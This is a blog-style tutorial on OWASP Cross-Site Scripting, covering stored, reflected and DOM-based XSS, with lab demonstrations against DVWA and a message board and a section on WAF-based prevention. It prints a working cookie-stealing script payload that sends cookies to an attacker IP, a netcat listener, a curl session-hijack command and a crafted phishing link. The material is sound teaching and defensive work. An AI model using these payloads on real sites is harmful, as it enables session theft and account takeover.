Web application threats continue to cause serious security issues for large corporations and small businesses alike.  In 2016, even the smallest, local family businesses have a Web presence, and it is important to understand the potential attack surface in any web-facing asset, in order to properly understand vulnerabilities, exploitability, and thus risk.  The Open Web Application Security Project (OWASP) is a non-profit organization dedicated to ensuring the safety and security of web application software, and periodically releases a Top 10 list of common categories of web application security flaws.  The current list is available at https://www.owasp.org/index.php/Top_10_2013-Top_10 (an updated list for 2016/2017 is currently in data call announcement), and is used by application developers, security professionals, software vendors and IT managers as a reference point for understanding the nature of web application security vulnerabilities.

This article presents a detailed analysis of the OWASP security flaw A3: Cross-Site Scripting (XSS), including descriptions of the three broad types of XSS and possibilities for exploitation.

 

Cross Site Scripting (XSS)

Cross-Site Scripting (XSS) attacks are a type of web application injection attack in which malicious script is delivered to a client browser using the vulnerable web app as an intermediary.  The general effect is that the client browser is tricked into performing actions not intended by the web application.  The classic example of an XSS attack is to force the victim browser to throw an ‘XSS!’ or ‘Alert!’ popup, but actual exploitation can result in the theft of cookies or confidential data, download of malware, etc.

 

Persistent XSS

Persistent (or Stored) XSS refers to a condition where the malicious script can be stored persistently on the vulnerable system, such as in the form of a message board post.  Any victim browsing the page containing the XSS script is an exploit target.  This is a very serious vulnerability as a public stored XSS vulnerability could result in many thousands of cookies stolen, drive-by malware downloads, etc.

As a proof-of-concept for cookie theft on a simple message board application, consider the following:

Here is our freshly-installed message board application.  Users can post comments, admins can access the admin panel.

Let’s use the typical POC exercise to validate that the message board is vulnerable to XSS:

Sure enough, it is:

Just throwing a dialog box is kinda boring, so let’s do something more interesting.  I’m going to inject a persistent XSS script that will steal the cookies of anyone browsing the vulnerable page:

Now I start a listener on my attacking box, this can be as simple as netcat, but can be any webserver of your choosing (python simpleHTTPserver is another nice option).

dsyme@kylie:~$ sudo nc -nvlp 81

And wait for someone – hopefully the site admin – to browse the page.

The admin has logged in and browsed the page.  Now, my listener catches the HTTP callout from my malicious script:

And I have my stolen cookie PHPSESSID=lrft6d834uqtflqtqh5l56a5m4.

Now I can use an intercepting proxy or cookie manager to impersonate admin.  Using Burp:

Or, using Cookie Manager for Firefox:

Now I’m logged into the admin page:

Access to a web application CMS is pretty close to pwn.  From here I can persist my access by creating additional admin accounts (noisy), or upload a shell (web/php reverse) to get shell access to the victim server.

Bear in mind that using such techniques we could easily host malware on our webserver, and every victim visiting the page with stored XSS would get a drive-by download.

 

Non-Persistent XSS

Non-persistent (or reflected) XSS refers to a slightly different condition in which the malicious content (script) is immediately returned by a web application, be it through an error message, search result, or some other means that echoes some part of the request back to the client.  Due to their nonpersistent nature, the malicious code is not stored on the vulnerable webserver, and hence it is generally necessary to trick a victim into opening a malicious link in order to exploit a reflected XSS vulnerability.

We’ll use our good friend DVWA (Damn Vulnerable Web App) for this example.

First, we’ll validate that it is indeed vulnerable to a reflected XSS attack:

It is.  Note that this can be POC’d by using the web form, or directly inserting code into the ‘name’ parameter in the URL.

Let’s make sure we can capture a cookie using the similar manner as before.  Start a netcat listener on 192.168.178.136:81 (and yes, we could use a full-featured webserver for this to harvest many cookies), and inject the following into the ‘name’ parameter:

<SCRIPT>document.location='http://192.168.178.136:81/?'+document.cookie</SCRIPT>

We have a cookie, PHPSESSID=ikm95nv7u7dlihhlkjirehbiu2.  Let’s see if we can use it to login from the command line without using a browser:

$ curl -b "security=low;PHPSESSID=ikm95nv7u7dlihhlkjirehbiu2" --location "http://192.168.178.140/dvwa/" > login.html

$ dsyme@kylie:~$ egrep Username login.html

<div align="left"><em>Username:</em> admin<br /><em>Security Level:</em> low<br /><em>PHPIDS:</em> disabled</div>

Indeed we can.

Now, of course, we just stole our own cookie here.  In a real attack we’d be wanting to steal the cookie of the actual site admin, and to do that, we’d need to trick him or her into clicking the following link:

http://192.168.178.140/dvwa/vulnerabilities/xss_r/?name=victim<SCRIPT>document.location='http://192.168.178.136:81/?'+document.cookie</SCRIPT>

Or, easily enough to put into an HTML message like this.

And now we need to get our victim to click the link.  A spear phishing attack might be a good way. 

And again, we start our listener and wait.

Of course, instead of stealing admin’s cookies, we could host malware on a webserver somewhere, and distribute the malicious URL by phishing campaign, host on a compromised website, distribute through Adware (there are many possibilities), and wait for drive-by downloads.  The malicious links are often obfuscated using a URL-shortening service.

 

DOM-Based XSS

DOM-based XSS is an XSS attack in which the malicious payload is executed as a result of modification of the Document Object Model (DOM) environment of the victim browser.  A key differentiator between DOM-based and traditional XSS attacks is that in DOM-based attacks the malicious code is not sent in the HTTP response from server to client.  In some cases, suspicious activity may be detected in HTTP requests, but in many cases no malicious content is ever sent to or from the webserver.  Usually, a DOM-based XSS vulnerability is introduced by poor input validation on a client-side script.

A very nice demo of DOM-based XSS is presented at https://xss-doc.appspot.com/demo/3.  Here, the URL Fragment (the portion of the URL after #, which is never sent to the server) serve as input to a client-side script – in this instance, telling the browser which tab to display:

Unfortunately, the URL fragment data is passed to the client-side script in an unsafe fashion.  Viewing the source of the above webpage, line 8 shows the following function definition:

And line 33:

In this case we can pass a string to the URL fragment that we know will cause the function to error, e.g. “foo”, and set an error condition.  Reproducing the example from the above URL with full credit to the author, it is possible to inject code into the error condition causing an alert dialog:

Which could be modified in a similar fashion to steal cookies etc.

And of course we could deface the site by injecting an image of our choosing from an external source:

There are other possible vectors for DOM-based XSS attacks, such as:

  • Unsanitized URL or POST body parameters that are passed to the server but do not modify the HTTP response, but are stored in the DOM to be used as input to the client-side script.  An example is given at https://www.owasp.org/index.php/DOM_Based_XSS
  • Interception of the HTTP response to include additional malicious scripts (or modify existing scripts) for the client browser to execute.  This could be done with a Man-in-the-Browser attack (malicious browser extensions), malware, or response-side interception using a web proxy.
  • Like reflected XSS, exploitation is often accomplished by fooling a user into clicking a malicious link.

DOM-based XSS is typically a client-side attack.  The only circumstances under which server-side web-based defences (such as mod_security, IDS/IPS or WAF) are able to prevent DOM-based XSS is if the malicious script is sent from client to server, which is not usually the case for DOM-based XSS.

As many more web applications utilize client-side components (such as sending periodic AJAX calls for updates), DOM-based XSS vulnerabilities are on the increase – an estimated 10% of the Alexa top 10k domains contained DOM-based XSS vulnerabilities according to Ben Stock, Sebastian Lekies and Martin Johns (https://www.blackhat.com/docs/asia-15/materials/asia-15-Johns-Client-Side-Protection-Against-DOM-Based-XSS-Done-Right-(tm).pdf).

 

Preventing XSS

XSS vulnerabilities exist due to a lack of input validation, whether on the client or server side.  Secure coding practices, regular code review, and white-box penetration testing are the best ways to prevent XSS in a web application, by tackling the problem at source.  OWASP has a detailed list of rules for XSS prevention documented at https://www.owasp.org/index.php/XSS_(Cross_Site_Scripting)_Prevention_Cheat_Sheet.  There are many other resources online on the topic.

However, for many (most?) businesses, it may not be possible to conduct code reviews or commit development effort to fixing vulnerabilities identified in penetration tests.  In most cases, XSS can be easily prevented by the deployment of Web Application Firewalls.  Typical mechanisms for XSS-prevention with a WAF are:

  • Alerting on known XSS attack signatures
  • Prevention of input of <script> tags to the application unless specifically allowed (rare)
  • Prevention of input of < ,> characters in web forms
  • Multiple URL decoding to prevent bypass attempts using encoding
  • Enforcement of value types in HTTP parameters
  • Blocking non-alphanumeric characters where they are not permitted

Typical IPS appliances lack the HTTP intelligence to be able to provide the same level of protection as a WAF.  For example, while an IPS may block the <script> tag (if it is correctly configured to intercept SSL), it may not be able to handle the URL decoding required to catch obfuscated attacks.

F5 Silverline is a cloud-based WAF solution and provides native and quick protection against XSS attacks.  This can be an excellent solution for deployed production applications that include XSS vulnerabilities, because modifying the application code to remove the vulnerability can be time-consuming and resource-intensive.  Full details of blocked attacks (true positives) can be viewed in the Silverline portal, enabling application and network administrators to extract key data in order to profile attackers:

Similarly, time-based histograms can be displayed providing details of blocked XSS campaigns over time.  Here, we can see that a serious XSS attack was prevented by Silverline WAF on September 1st:

F5 Application Security Manager (ASM) can provide a similar level of protection in an on-premise capacity.

It is of course highly recommended that any preventive controls be tested – which typically means running an automated vulnerability scan (good) or manual penetration test (better) against the application once the control is in place.

As noted in the previous section, do not expect web-based defences such as a WAF to protect against DOM-based XSS as most attack vectors do no actually send any malicious traffic to the server.